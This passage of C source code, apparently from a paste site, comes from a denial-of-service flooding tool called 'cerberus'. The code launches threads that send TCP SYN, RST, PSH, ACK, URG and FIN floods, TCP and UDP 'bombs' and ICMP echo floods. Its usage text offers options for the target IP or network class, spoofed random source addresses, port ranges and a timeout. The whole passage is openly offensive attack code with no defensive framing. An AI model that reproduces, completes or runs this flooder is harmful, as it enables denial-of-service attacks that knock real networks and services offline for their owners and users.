  730.                         thread_data_array[i].packets    = 0;
  731.                         thread_data_array[i].th_flags = TH_SYN;
  732.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  733.                         {
  734.                         printf("+    Thread error:\n");
  735.                                 perror("-    pthread_create()\n");
  736.                 }
  737.                 }
  738.                 if (thread_data_array[i].a_flags == TCP_RST)
  739.                 {
  740.                         thread_data_array[i].thread             = i;
  741.                         thread_data_array[i].packets    = 0;
  742.                         thread_data_array[i].th_flags = TH_RST;
  743.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  744.                         {
  745.                         printf("+    Thread error:\n");
  746.                                 perror("-    pthread_create()\n");
  747.                 }
  748.                 }
  749.                 if (thread_data_array[i].a_flags == TCP_PSH)
  750.                 {
  751.                         thread_data_array[i].thread             = i;
  752.                         thread_data_array[i].packets    = 0;
  753.                         thread_data_array[i].th_flags = TH_PUSH;
  754.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  755.                         {
  756.                         printf("+    Thread error:\n");
  757.                                 perror("-    pthread_create()\n");
  758.                 }
  759.                 }
  760.                 if (thread_data_array[i].a_flags == TCP_ACK)
  761.                 {
  762.                         thread_data_array[i].thread             = i;
  763.                         thread_data_array[i].packets    = 0;
  764.                         thread_data_array[i].th_flags = TH_ACK;
  765.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  766.                         {
  767.                         printf("+    Thread error:\n");
  768.                                 perror("-    pthread_create()\n");
  769.                 }
  770.                 }
  771.                 if (thread_data_array[i].a_flags == TCP_URG)
  772.                 {
  773.                         thread_data_array[i].thread             = i;
  774.                         thread_data_array[i].packets    = 0;
  775.                         thread_data_array[i].th_flags = TH_URG;
  776.                         if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
  777.                         {
  778.                         printf("+    Thread error:\n");
  779.                                 perror("-    pthread_create()\n");
  780.                 }
  781.                 }
  782.                 if (thread_data_array[i].a_flags == TCP_BMB)
  783.                 {
  784.                         thread_data_array[i].thread             = i;
  785.                         thread_data_array[i].packets    = 0;
  786.                         if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
  787.                         {
  788.                         printf("+    Thread error:\n");
  789.                                 perror("-    pthread_create()\n");
  790.                 }
  791.                 }
  792.                 if (thread_data_array[i].a_flags == UDP_BMB)
  793.                 {
  794.                         thread_data_array[i].thread             = i;
  795.                         thread_data_array[i].packets    = 0;
  796.                         if(pthread_create(&attack_thread[i], NULL, &send_bomb_udp, (void *)&thread_data_array[i]) != 0)
  797.                         {
  798.                         printf("+    Thread error:\n");
  799.                                 perror("-    pthread_create()\n");
  800.                 }
  801.                 }
  802.                 if (thread_data_array[i].a_flags == UDP_CFF)
  803.                 {
  804.                         thread_data_array[i].thread             = i;
  805.                         thread_data_array[i].packets    = 0;
  806.                         if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0)
  807.                         {
  808.                         printf("+    Thread error:\n");
  809.                                 perror("-    pthread_create()\n");
  810.                 }
  811.                 }
  812.                 if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
  813.                         thread_data_array[i].thread             = i;
  814.                         thread_data_array[i].packets    = 0;
  815.                         if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0)
  816.                         {
  817.                         printf("+    Thread error:\n");
  818.                                 perror("-    pthread_create()\n");
  819.                 }
  820.                 }
  821.         }
  822.         for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
  823.                 pthread_join(attack_thread[i], NULL);
  824.     exit(0);
  825. }
  826. const char *banner_name         = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  827. static void
  828. usage(const char *argv0)
  829. {
  830.     printf("%s \n",   banner_name);
  831.         printf("    -4 IPv4\n");
  832.         printf("    -6 IPv6\n");
  833.         printf("    -U UDP  attack                                        \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  834.         printf("    -I ICMP attack                                        \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  835.         printf("    -C TCP  bomb                                          \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  836.         printf("    -T TCP  attack         \e[1;37m[\e[0m0:FIN, 1:SYN, 2:RST, 3:PUSH, 4:ACK, 5:URG\e[1;37m]\e[0m\n");
  837.         printf("    -h destination ip                                     \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  838.         printf("    -d destination class                                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  839.         printf("    -s source class/ip                                    \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  840.         printf("    -p destination port range [start,end]                 \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  841.         printf("    -q source port range      [start,end]                 \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  842.         printf("    -t timeout                                            \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  843.     printf("usage\e[0m: %s -4 -6 [-U -I -C -T -h -d -s -p -q -t]\n", argv0);
  844.     exit(-1);
  845. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement